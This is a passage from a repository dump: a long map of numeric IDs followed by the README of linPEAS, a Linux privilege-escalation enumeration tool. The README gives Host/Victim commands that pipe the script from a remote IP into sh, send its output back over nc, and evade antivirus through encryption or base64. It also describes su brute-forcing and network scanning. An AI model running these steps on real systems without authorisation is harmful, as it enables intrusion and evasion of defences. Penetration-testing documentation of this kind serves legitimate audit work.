"5022282\":[\"5021233\"],\"5022286\":[\"5021237\"],\"5022287\":[\"5021234\"],\"5022289\":[\"5021235\"],\"5022291\":[\"5021249\"],\"5022297\":[\"5021243\"],\"5022303\":[\"5021255\"],\"5022338\":[\"5021291\"],\"5022340\":[\"5021289\"],\"5022348\":[\"5021285\"],\"5022352\":[\"5021294\"],\"5022497\":[\"5020880\",\"5022404\"],\"5022503\":[\"5018515\",\"5020873\"],\"5022727\":[\"5018543\",\"5021086\",\"5022474\"],\"5022728\":[\"5018545\",\"5021088\",\"5022476\"],\"5022729\":[\"5017888\",\"5021089\",\"5022478\"],\"5022730\":[\"5018546\",\"5021090\",\"5022479\"],\"5022731\":[\"5018547\",\"5021091\"],\"5022732\":[\"5018548\",\"5021092\"],\"5022733\":[\"5018549\",\"5021093\"],\"5022734\":[\"5018550\",\"5021094\"],\"5022735\":[\"5018551\",\"5021095\"],\"5022782\":[\"5018542\",\"5021085\"],\"5022834\":[\"5022282\"],\"5022835\":[\"5019958\"],\"5022836\":[\"5022287\"],\"5022838\":[\"5022289\"],\"5022840\":[\"5022286\"],\"5022842\":[\"5022291\"],\"5022845\":[\"5022303\"],\"5022858\":[\"5022297\"],\"5022872\":[\"5022338\"],\"5022890\":[\"5022340\"],\"5022899\":[\"5022352\"],\"5022903\":[\"5022348\"],\"5023696\":[\"5022834\"],\"5023697\":[\"5022838\"],\"5023698\":[\"5022836\"],\"5023702\":[\"5022840\"],\"5023705\":[\"5022842\"],\"5023706\":[\"5022845\"],\"5023713\":[\"5022858\"],\"5023755\":[\"5022890\"],\"5023756\":[\"5022903\"],\"5023765\":[\"5022899\"],\"5023769\":[\"5022874\"],\"5025221\":[\"5023696\"],\"5025224\":[\"5023698\"],\"5025228\":[\"5023697\"],\"5025229\":[\"5023702\"],\"5025230\":[\"5023705\"],\"5025234\":[\"5023713\"],\"5025239\":[\"5023706\"],\"5025271\":[\"5023755\"],\"5025279\":[\"5023769\"],\"5025285\":[\"5023765\"],\"5025287\":[\"5023769\"],\"5026361\":[\"5025221\"],\"5026362\":[\"5025229\"],\"5026363\":[\"5025228\"],\"5026366\":[\"5022835\"],\"5026368\":[\"5025224\"],\"5026370\":[\"5025230\"],\"5026372\":[\"5025239\"],\"5026382\":[\"5025234\"],\"5026408\":[\"5025271\"],\"5026413\":[\"5025279\"],\"5026415\":[\"5025285\"],\"5026419\":[\"5025287\"],\"5027119\":[\"5022497\",\"5026515\"],\"5027123\":[\"5022503\"],\"5027215\":[\"5026361\"],\"5027219\":[\"5026363\"],\"5027222\":[\"5026362\"],\"5027223\":[\"5026368\"],\"5027225\":[\"5026370\"],\"5027230\":[\"5026382\"],\"5027231\":[\"5026372\"],\"5027271\":[\"5026415\"],\"5027275\":[\"5026413\"],\"5027279\":[\"5026408\"],\"5027283\":[\"5026419\"],\"5027536\":[\"5022782\"],\"5027537\":[\"5022728\",\"5022729\",\"5026958\"],\"5027538\":[\"5022728\",\"5022729\",\"5026958\"],\"5027539\":[\"5022730\",\"5026959\"],\"5027540\":[\"5022731\"],\"5027541\":[\"5022732\"],\"5027542\":[\"5022733\"],\"5027543\":[\"5022731\",\"5022734\"],\"5027544\":[\"5022726\",\"5022735\"],\"5028166\":[\"5027215\"],\"5028167\":[\"5026366\"],\"5028168\":[\"5027222\"],\"5028169\":[\"5027219\"],\"5028171\":[\"5027225\"],\"5028182\":[\"5027223\"],\"5028185\":[\"5027231\"],\"5028186\":[\"5027230\"],\"5028222\":[\"5027279\"],\"5028228\":[\"5027271\"],\"5028232\":[\"5027283\"],\"5028240\":[\"5027275\"],\"5029242\":[\"5028169\"],\"5029243\":[\"5028167\"],\"5029244\":[\"5028166\"],\"5029247\":[\"5028168\"],\"5029250\":[\"5028171\"],\"5029253\":[\"5028182\"],\"5029259\":[\"5028186\"],\"5029263\":[\"5028185\"],\"5029295\":[\"5028232\"],\"5029296\":[\"5028240\"],\"5029312\":[\"5028228\"],\"5029318\":[\"5028222\"],\"5029924\":[\"5028952\"],\"5030178\":[\"5029647\"],\"5030179\":[\"5029648\"],\"5030180\":[\"5029649\"],\"5030181\":[\"5029650\"],\"5030182\":[\"5029651\"],\"5030183\":[\"5029652\"],\"5030184\":[\"5029653\"],\"5030185\":[\"5029654\"],\"5030186\":[\"5029655\"],\"5030209\":[\"5029243\"],\"5030211\":[\"5029244\"],\"5030213\":[\"5029242\"],\"5030214\":[\"5029247\"],\"5030216\":[\"5029250\"],\"5030217\":[\"5029253\"],\"5030219\":[\"5029263\"],\"5030220\":[\"5029259\"],\"5030265\":[\"5029296\"],\"5030269\":[\"5029312\"],\"5030271\":[\"5029318\"],\"5030278\":[\"5029295\"],\"5031217\":[\"5028948\"],\"5031354\":[\"5030219\"],\"5031355\":[\"5030209\"],\"5031356\":[\"5030211\"],\"5031358\":[\"5030217\"],\"5031361\":[\"5030214\"],\"5031362\":[\"5030213\"],\"5031364\":[\"5030216\"],\"5031377\":[\"5030220\"],\"5031408\":[\"5030265\"],\"5031416\":[\"5030271\"],\"5031419\":[\"5030269\"],\"5031442\":[\"5030278\"],\"5032189\":[\"5031356\"],\"5032190\":[\"5031354\"],\"5032191\":[\"5031355\"],\"5032192\":[\"5031358\"],\"5032196\":[\"5031361\"],\"5032197\":[\"5031362\"],\"5032198\":[\"5031364\"],\"5032199\":[\"5031377\"],\"5032247\":[\"5031442\"],\"5032249\":[\"5031419\"],\"5032252\":[\"5031408\"],\"5032254\":[\"5031416\"],\"5033118\":[\"5032198\"],\"5033369\":[\"5032192\"],\"5033371\":[\"5032196\"],\"5033372\":[\"5032189\"],\"5033373\":[\"5032197\"],\"5033375\":[\"5032190\"],\"5033376\":[\"5032191\"],\"5033379\":[\"5032199\"],\"5033383\":[\"5032202\"],\"5033420\":[\"5032249\"],\"5033422\":[\"5032254\"],\"5033429\":[\"5032247\"],\"5033433\":[\"5032252\"],\"5034119\":[\"5033373\"],\"5034120\":[\"5033376\"],\"5034121\":[\"5033369\"],\"5034122\":[\"5033372\"],\"5034123\":[\"5033375\"],\"5034127\":[\"5033371\"],\"5034129\":[\"5033118\"],\"5034130\":[\"5033383\"],\"5034134\":[\"5033379\"],\"5034169\":[\"5033433\"],\"5034171\":[\"5033420\"],\"5034173\":[\"5033422\"],\"5034184\":[\"5033429\"],\"5034763\":[\"5034122\"],\"5034765\":[\"5034123\"],\"5034766\":[\"5034121\"],\"5034767\":[\"5034119\"],\"5034768\":[\"5034127\"],\"5034769\":[\"5034130\"],\"5034770\":[\"5034129\"],\"5034774\":[\"5034134\"],\"5034795\":[\"5034173\"],\"5034819\":[\"5034171\"],\"5034830\":[\"5034184\"],\"5034831\":[\"5034169\"],\"5035845\":[\"5034763\"],\"5035849\":[\"5034768\"],\"5035853\":[\"5034765\"],\"5035854\":[\"5034766\"],\"5035855\":[\"5034767\"],\"5035856\":[\"5034769\"],\"5035857\":[\"5034770\"],\"5035858\":[\"5034774\"],\"5035885\":[\"5034819\"],\"5035888\":[\"5034831\"],\"5035920\":[\"5034795\"],\"5035930\":[\"5034830\"],\"5035959\":[\"5034860\"],\"5036892\":[\"5035845\"],\"5036893\":[\"5035853\"],\"5036894\":[\"5035854\"],\"5036896\":[\"5035849\"],\"5036899\":[\"5035855\"],\"5036909\":[\"5035857\"],\"5036910\":[\"5035856\"],\"5036925\":[\"5035858\"],\"5036932\":[\"5035920\"],\"5036960\":[\"5035885\"],\"5036967\":[\"5035888\"],\"5036969\":[\"5035930\"],\"5037763\":[\"5036899\"],\"5037765\":[\"5036896\"],\"5037768\":[\"5036892\"],\"5037770\":[\"5036894\"],\"5037771\":[\"5036893\"],\"5037778\":[\"5036969\"],\"5037780\":[\"5036967\"],\"5037781\":[\"5036910\"],\"5037782\":[\"5036909\"],\"5037788\":[\"5036925\"],\"5037800\":[\"5036932\"],\"5037823\":[\"5036960\"],\"5039211\":[\"5037768\"],\"5039212\":[\"5037771\"],\"5039213\":[\"5037770\"],\"5039214\":[\"5037763\"],\"5039217\":[\"5037765\"],\"5039225\":[\"5037788\"],\"5039227\":[\"5037782\"],\"5039236\":[\"5037781\"],\"5039245\":[\"5037800\"],\"5039260\":[\"5037778\"],\"5039289\":[\"5037780\"],\"5039294\":[\"5037823\"],\"5039330\":[\"5037848\"],\"5040426\":[\"5034120\"],\"5040427\":[\"5039211\"],\"5040430\":[\"5039217\"],\"5040431\":[\"5039213\"],\"5040434\":[\"5039214\"],\"5040437\":[\"5039227\"],\"5040438\":[\"5039236\"],\"5040442\":[\"5039212\"],\"5040448\":[\"5039225\"],\"5040456\":[\"5039294\"],\"5040485\":[\"5039260\"],\"5040497\":[\"5039289\"],\"5040499\":[\"5039245\"],\"5041160\":[\"5040437\"],\"5041571\":[\"5040435\"],\"5041573\":[\"5040438\"],\"5041578\":[\"5040430\"],\"5041580\":[\"5040427\"],\"5041585\":[\"5040442\"],\"5041592\":[\"5040431\"],\"5041770\":[\"5040426\"],\"5041773\":[\"5040434\"],\"5041782\":[\"5040448\"],\"5041828\":[\"5040456\"],\"5041838\":[\"5040497\"],\"5041850\":[\"5040499\"],\"5041851\":[\"5040485\"],\"5042320\":[\"5034441\"],\"5042321\":[\"5034440\"],\"5042322\":[\"5034439\"],\"5042881\":[\"5041160\"],\"5043049\":[\"5041770\"],\"5043050\":[\"5041578\"],\"5043051\":[\"5041773\"],\"5043055\":[\"5041573\"],\"5043064\":[\"5041580\"],\"5043067\":[\"5041592\"],\"5043076\":[\"5041585\"],\"5043083\":[\"5041782\"],\"5043125\":[\"5041851\"],\"5043129\":[\"5041838\"],\"5043135\":[\"5041850\"],\"5043138\":[\"5041828\"],\"5044273\":[\"5043064\"],\"5044277\":[\"5043050\"],\"5044280\":[\"5043067\"],\"5044281\":[\"5042881\"],\"5044284\":[\"5043080\"],\"5044285\":[\"5043076\"],\"5044286\":[\"5043083\"],\"5044288\":[\"5043055\"],\"5044293\":[\"5043051\"],\"5044320\":[\"5043135\"],\"5044342\":[\"5043125\"],\"5044343\":[\"5043138\"],\"5044356\":[\"5043129\"],\"5046398\":[\"5042321\"],\"5046399\":[\"5042322\"],\"5046400\":[\"5042320\"],\"5046612\":[\"5044293\"],\"5046613\":[\"5044273\"],\"5046615\":[\"5044277\"],\"5046616\":[\"5044281\"],\"5046617\":[\"5044284\"],\"5046618\":[\"5044288\"],\"5046633\":[\"5044285\"],\"5046661\":[\"5044320\"],\"5046665\":[\"5044286\"],\"5046682\":[\"5044343\"],\"5046687\":[\"5044356\"],\"5046697\":[\"5044342\"],\"5048652\":[\"5046613\"],\"5048653\":[\"5046618\"],\"5048654\":[\"5046616\"],\"5048661\":[\"5046615\"],\"5048667\":[\"5046617\"],\"5048671\":[\"5046612\"],\"5048685\":[\"5046633\"],\"5048695\":[\"5046687\"],\"5048699\":[\"5046697\"],\"5048703\":[\"5046665\"],\"5048710\":[\"5046661\"],\"5048735\":[\"5046682\"],\"5048800\":[\"5046698\"],\"5049981\":[\"5048652\"],\"5049983\":[\"5048654\"],\"5049984\":[\"5048653\"],\"5049993\":[\"5048671\"],\"5050004\":[\"5048699\"],\"5050008\":[\"5048661\"],\"5050009\":[\"5048667\"],\"5050013\":[\"5048703\"],\"5050021\":[\"5048685\"],\"5050048\":[\"5048735\"],\"5050049\":[\"5048695\"],\"5050063\":[\"5048710\"],\"5051974\":[\"5049981\"],\"5051979\":[\"5049983\"],\"5051980\":[\"5049984\"],\"5051987\":[\"5050009\"],\"5051989\":[\"5050021\"],\"5052000\":[\"5050008\"],\"5052006\":[\"5049993\"],\"5052016\":[\"5050049\"],\"5052020\":[\"5050004\"],\"5052038\":[\"5050063\"],\"5052040\":[\"5050013\"],\"5052042\":[\"5050048\"],\"5053594\":[\"5052006\"],\"5053596\":[\"5052000\"],\"5053598\":[\"5051987\"],\"5053599\":[\"5051980\"],\"5053602\":[\"5051989\"],\"5053603\":[\"5051979\"],\"5053606\":[\"5051974\"],\"5053618\":[\"5052040\"],\"5053620\":[\"5052016\"],\"5053636\":[\"5052105\"],\"5053638\":[\"5052106\"],\"5053886\":[\"5052020\"],\"5053887\":[\"5052042\"],\"5053888\":[\"5052038\"],\"5055518\":[\"5053606\"],\"5055519\":[\"5053596\"],\"5055521\":[\"5053594\"],\"5055523\":[\"5053598\"],\"5055526\":[\"5053603\"],\"5055527\":[\"5053599\"],\"5055528\":[\"5053602\"],\"5055547\":[\"5053618\"],\"5055557\":[\"5053887\"],\"5055561\":[\"5053620\"],\"5055581\":[\"5053886\"],\"5055609\":[\"5053888\"],\"5058379\":[\"5055518\"],\"5058383\":[\"5055521\"],\"5058384\":[\"5055527\"],\"5058385\":[\"5055526\"],\"5058387\":[\"5055547\"],\"5058392\":[\"5055519\"],\"5058403\":[\"5055557\"],\"5058405\":[\"5055528\"],\"5058411\":[\"5055523\"],\"5058430\":[\"5055561\"],\"5058449\":[\"5055609\"],\"5058451\":[\"5055581\"],\"5060118\":[\"5058384\"],\"5060525\":[\"5058500\"],\"5060526\":[\"5058385\"],\"5060531\":[\"5058392\"],\"5060533\":[\"5058379\"],\"5060841\":[\"5058497\"],\"5060842\":[\"5058411\"],\"5060998\":[\"5058387\"],\"5060999\":[\"5058405\"],\"5061010\":[\"5058383\"],\"5061018\":[\"5058403\"],\"5061026\":[\"5058449\"],\"5061059\":[\"5058451\"],\"5061078\":[\"5058430\"],\"5062552\":[\"5060999\"],\"5062553\":[\"5060842\"],\"5062554\":[\"5060533\"],\"5062557\":[\"5060531\"],\"5062560\":[\"5061010\"],\"5062561\":[\"5060998\"],\"5062570\":[\"5060118\"],\"5062572\":[\"5060526\"],\"5062592\":[\"5061059\"],\"5062597\":[\"5061018\"],\"5062624\":[\"5061026\"],\"5062632\":[\"5061078\"],\"5063709\":[\"5062554\"],\"5063871\":[\"5062560\"],\"5063875\":[\"5062552\"],\"5063877\":[\"5062557\"],\"5063878\":[\"5062553\"],\"5063880\":[\"5062572\"],\"5063888\":[\"5062624\"],\"5063889\":[\"5062561\"],\"5063899\":[\"5062570\"],\"5063906\":[\"5062592\"],\"5063947\":[\"5062632\"],\"5063950\":[\"5062597\"],\"5065306\":[\"5063812\"],\"5065425\":[\"5063899\"],\"5065426\":[\"5063878\"],\"5065427\":[\"5063871\"],\"5065428\":[\"5063877\"],\"5065429\":[\"5063709\"],\"5065430\":[\"5063889\"],\"5065431\":[\"5063875\"],\"5065432\":[\"5063880\"],\"5065435\":[\"5060996\"],\"5065468\":[\"5063947\"],\"5065474\":[\"5064010\"],\"5065507\":[\"5063950\"],\"5065508\":[\"5063888\"],\"5065509\":[\"5063906\"],\"5066586\":[\"5065428\"],\"5066780\":[\"5065425\"],\"5066782\":[\"5065432\"],\"5066791\":[\"5065429\"],\"5066793\":[\"5065431\"],\"5066835\":[\"5065426\"],\"5066836\":[\"5065427\"],\"5066837\":[\"5065430\"],\"5066840\":[\"5065435\"],\"5066872\":[\"5065468\"],\"5066873\":[\"5065507\"],\"5066874\":[\"5065508\"],\"5066875\":[\"5065509\"],\"5068779\":[\"5066780\"],\"5068781\":[\"5066791\"],\"5068787\":[\"5066782\"],\"5068791\":[\"5066586\"],\"5068861\":[\"5066835\"],\"5068864\":[\"5066836\"],\"5068865\":[\"5066793\"],\"5068904\":[\"5066872\"],\"5068905\":[\"5066873\"],\"5068906\":[\"5066874\"],\"5068907\":[\"5066875\"],\"5071413\":[\"5068840\"],\"5071417\":[\"5068865\"],\"5071501\":[\"5068904\"],\"5071503\":[\"5068905\"],\"5071504\":[\"5068906\"],\"5071505\":[\"5068907\"],\"5071542\":[\"5068779\"],\"5071543\":[\"5068864\"],\"5071544\":[\"5068791\"],\"5071546\":[\"5068781\"],\"5071547\":[\"5068787\"],\"5072014\":[\"5068966\"],\"5072033\":[\"5068861\"],\"5073379\":[\"5072033\"],\"5073450\":[\"5071542\"],\"5073455\":[\"5071417\"],\"5073457\":[\"5071547\"],\"5073695\":[\"5071501\"],\"5073696\":[\"5071503\"],\"5073697\":[\"5071504\"],\"5073698\":[\"5071505\"],\"5073722\":[\"5071543\"],\"5073723\":[\"5071544\"],\"5073724\":[\"5071546\"],\"5074109\":[\"5072033\"],\"5075897\":[\"5073450\"],\"5075899\":[\"5074109\"],\"5075906\":[\"5073457\"],\"5075912\":[\"5073724\"],\"5075941\":[\"5073455\"],\"5075970\":[\"5073696\"],\"5075971\":[\"5073698\"],\"5077181\":[\"5073379\",\"5074109\"],\"5078734\":[\"5075897\"],\"5078736\":[\"5075942\"],\"5078737\":[\"5075943\"],\"5078738\":[\"5066840\"],\"5078740\":[\"5075899\"],\"5078752\":[\"5075904\"],\"5078766\":[\"5075906\"],\"5078774\":[\"5075970\"],\"5078775\":[\"5075971\"],\"5078883\":[\"5075941\"],\"5078885\":[\"5075912\"],\"5078938\":[\"5075999\"],\"5079420\":[\"5077212\"],\"5079466\":[\"5077179\"],\"5079473\":[\"5077181\"],\"5084597\":[\"5077212\"],\"952068\":[\"944275\"],\"953295\":[\"928367\"],\"953297\":[\"929729\"],\"953298\":[\"929729\"],\"954430\":[\"936181\"],\"954459\":[\"933579\"],\"955069\":[\"936021\"],\"956572\":[\"931784\",\"943485\",\"956841\"],\"956802\":[\"948590\"],\"957097\":[\"914389\"],\"958215\":[\"956390\"],\"958623\":[\"950582\"],\"958687\":[\"957095\"],\"958690\":[\"954211\"],\"958869\":[\"938464\",\"954593\"],\"959426\":[\"935839\"],\"960082\":[\"948110\",\"948111\"],\"960089\":[\"948108\",\"948109\"],\"960225\":[\"935840\"],\"961063\":[\"951746\"],\"961064\":[\"948745\"],\"961260\":[\"958215\",\"960714\"],\"961371\":[\"908519\"],\"961373\":[\"951698\"],\"961501\":[\"930178\"],\"963027\":[\"958215\",\"960714\"],\"968537\":[\"958690\"],\"968816\":[\"923689\"],\"969059\":[\"920685\"],\"969805\":[\"949014\",\"957280\"],\"969883\":[\"961064\"],\"969897\":[\"963027\"],\"969947\":[\"968537\"],\"970238\":[\"933729\"],\"970437\":[\"949269\"],\"971032\":[\"951071\"],\"971108\":[\"947742\"],\"971110\":[\"947748\"],\"971468\":[\"958687\"],\"971486\":[\"931784\"],\"971633\":[\"951698\"],\"971961\":[\"917344\"],\"972260\":[\"969897\"],\"972270\":[\"961371\"],\"972554\":[\"952068\"],\"973037\":[\"969805\"],\"973039\":[\"970437\"],\"973346\":[\"950760\"],\"973354\":[\"951066\"],\"973525\":[\"973346\"],\"973540\":[\"936782\"],\"973869\":[\"891781\"],\"974112\":[\"954600\"],\"974392\":[\"911280\"],\"974455\":[\"972260\"],\"974571\":[\"828028\"],\"975560\":[\"971633\"],\"975562\":[\"971633\"],\"976325\":[\"974455\"],\"977165\":[\"971486\"],\"977914\":[\"971557\"],\"978207\":[\"976325\"],\"978251\":[\"914389\",\"957097\"],\"978262\":[\"973525\"],\"978338\":[\"974145\"],\"978542\":[\"951066\",\"973354\"],\"978695\":[\"968816\"],\"979402\":[\"936782\"],\"979559\":[\"969947\"],\"979683\":[\"977165\"],\"979906\":[\"953297\"],\"979913\":[\"953297\",\"972593\"],\"980182\":[\"978207\"],\"980195\":[\"978262\"],\"980232\":[\"978251\"],\"980436\":[\"960225\"],\"981550\":[\"973037\"],\"981852\":[\"979683\"],\"981957\":[\"2160329\"],\"981997\":[\"975561\"],\"982000\":[\"973039\"],\"982214\":[\"971468\"],\"982381\":[\"980182\"],\"982802\":[\"970238\"],\"983582\":[\"953300\"],\"983583\":[\"974417\"],\"983587\":[\"974291\"],\"983588\":[\"974469\"],\"983589\":[\"974470\"]}}"
  },
  {
    "path": "linPEAS/README.md",
    "content": "# LinPEAS - Linux Privilege Escalation Awesome Script\n\n![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png)\n\n**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\\*/MacOS hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html)**\n\nCheck the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html)**.\n\n> **Dec 2025 update:** linpeas now inspects Linux kernels for CVE-2025-38352 (POSIX CPU timers race) by combining CONFIG_POSIX_CPU_TIMERS_TASK_WORK state with kernel build information, so you immediately know if publicly available PoCs might succeed.\n\n[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/309566)\n\n## MacPEAS\n\nJust execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed**\n\n## Build your own linpeas!\n\nThe latest version of linpeas allows you to **select the checks you would like your linpeas to have** and built it only with those checks!\n\nThis allows to create **smaller and faster linpeas scripts** for stealth and speed purposes.\n\nCheck how to **select the checks you want to build [in your own linpeas following this link.](builder)**\n\nNote that by default, in the releases pages of this repository, you will find a **linpeas with all the checks**.\n\n## Differences between `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh`:\n\n- **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded.\n- **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`.\n- **linpeas_small.sh**: Contains only the most *important* checks making its size smaller.\n\n## Quick Start\nFind the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**.\n\n```bash\n# From public github\ncurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh\n```\n\n```bash\n# Local network\nsudo python3 -m http.server 80 #Host\ncurl 10.10.10.10/linpeas.sh | sh #Victim\n\n# Without curl\nsudo nc -q 5 -lvnp 80 < linpeas.sh #Host\ncat < /dev/tcp/10.10.10.10/80 | sh #Victim\n\n# Excute from memory and send output back to the host\nnc -lvnp 9002 | tee linpeas.out #Host\ncurl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim\n```\n\n```bash\n# Output to file\n./linpeas.sh -a > /dev/shm/linpeas.txt #Victim\nless -r /dev/shm/linpeas.txt #Read with colors\n```\n\n```bash\n# Use a linpeas binary\nwget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64\nchmod +x linpeas_linux_amd64\n./linpeas_linux_amd64\n```\n\n## AV bypass\n```bash\n#open-ssl encryption\nopenssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc\nsudo python -m SimpleHTTPServer 80 #Start HTTP server\ncurl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim\n\n#Base64 encoded\nbase64 -w0 linpeas.sh > lp.enc\nsudo python -m SimpleHTTPServer 80 #Start HTTP server\ncurl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim\n```\n\n## Firmware Analysis\nIf you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options.\n\n- If you **can emulate** the firmware, just run linpeas inside of it:\n```bash\ncp /path/to/linpeas.sh /mnt/linpeas.sh\nchroot /mnt #Supposing you have mounted the firmware FS in /mnt\nbash /linpeas.sh -o software_information,interesting_files,api_keys_regex\n```\n\n- If you **cannot emulate** the firmware, use the `-f </path/to/folder` param:\n```bash\n# Point to the folder containing the files you want to analyze\nbash /path/to/linpeas.sh -f /path/to/folder\n```\n\n## Basic Information\n\nThe goal of this script is to search for possible **Privilege Escalation Paths** (tested in Debian, CentOS, FreeBSD, OpenBSD and MacOS).\n\nThis script doesn't have any dependency.\n\n### Recent updates\n\n- **Dec 2025**: Added detection for sudo configurations that expose restic's `--password-command` helper, a common privilege escalation vector observed in real environments.\n\n- **Feb 2026**: Added a reminder that `linpeas` can be run with `-o` to execute targeted checks in long-running audits.\n\nIt uses **/bin/sh** syntax, so can run in anything supporting `sh` (and the binaries and parameters used).\n\nBy default, **linpeas won't write anything to disk and won't try to login as any other user using `su`**.\n\nLinPEAS keeps expanding vendor-specific coverage; as of 29-Nov-2025 it warns when IGEL OS appliances still ship the SUID `setup`/`date` helpers that allow NetworkManager/systemd configuration hijacking (Metasploit module `linux/local/igel_network_priv_esc`).\n\n\nBy default linpeas takes around **4 mins** to complete, but It could take from **5 to 10 minutes** to execute all the checks using **-a** parameter *(Recommended option for CTFs)*:\n- From less than 1 min to 2 mins to make almost all the checks\n- Almost 1 min to search for possible passwords inside all the accesible files of the system\n- 20s/user bruteforce with top2000 passwords *(need `-a`)* - Notice that this check is **super noisy**\n- 1 min to monitor the processes in order to find very frequent cron jobs *(need `-a`)* - Notice that this check will need to **write** some info inside a file that will be deleted\n\n**Interesting parameters:**\n- **-a** (all checks except regex) - This will **execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using `su` with the top2000 passwords.**\n- **-e** (extra enumeration) - This will execute **enumeration checkes that are avoided by default**\n- **-r** (regex checks) - This will search for **hundreds of API keys of different platforms in the Filesystem**\n- **-s** (superfast & stealth) - This will bypass some time consuming checks - **Stealth mode** (Nothing will be written to disk)\n- **-P** (Password) - Pass a password that will be used with `sudo -l` and bruteforcing other users\n- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took\n- **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks\n\n**It's recommended to use the params `-a` and `-r` if you are looking for a complete and intensive scan**.\n\n```\nEnumerate and search Privilege Escalation vectors.\nThis tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.\n        Checks:\n            -o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.\n            -s Stealth & faster (don't check some time consuming checks)\n            -e Perform extra enumeration\n            -t Automatic network scan & Internet conectivity checks - This option writes to files\n            -r Enable Regexes (this can take from some mins to hours)\n            -P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'\n\t      -D Debug mode\n\n        Network recon:\n            -t Automatic network scan & Internet conectivity checks - This option writes to files\n\t      -d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24\n            -p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139\n            -i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080\n             Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed\n\n        Port forwarding:\n            -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP\n\n        Firmware recon:\n            -f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder\n\n        Misc:\n            -h To show this message\n\t      -w Wait execution between big blocks of checks\n            -L Force linpeas execution\n            -M Force macpeas execution\n\t      -q Do not show banner\n            -N Do not use colours\n\n```\n\n## Hosts Discovery and Port Scanning\n\nWith LinPEAS you can also **discover hosts automatically** using `fping`, `ping` and/or `nc`, and **scan ports** using `nc`.\n\nLinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning.\n\n![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/network.png)\n\n\n## Colors\nLinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**.\n\n- The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure).\n\n- The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to privilege escalation.\n\n- The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for known good configurations (based on the name not on the content!)\n\n- The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: Users without shell & Mounted devices\n\n- The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: Users with shell\n\n- The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: Current username\n\n</details>\n\n## One-liner Enumerator\n\nHere you have an old linpe version script in one line, **just copy and paste it**;)\n\n**The color filtering is not available in the one-liner** (the lists are too big)\n\nThis one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here.\n\nThe default file where all the data is stored is: */tmp/linPE* (you can change it at the beginning of the script)\n\n\n```sh\nfile=\"/tmp/linPE\";RED='\\033[0;31m';Y='\\033[0;33m';B='\\033[0;34m';NC='\\033[0m';rm -rf $file;echo \"File: $file\";echo \"[+]Gathering system information...\";printf $B\"[*] \"$RED\"BASIC SYSTEM INFO\\n\"$NC >> $file ;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Operative system\\n\"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"PATH\\n\"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Date\\n\"$NC >> $file;date 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Sudo version\\n\"$NC >> $file;sudo -V 2>/dev/null| grep \"Sudo ver\" >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"selinux enabled?\\n\"$NC >> $file;sestatus 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Useful software?\\n\"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 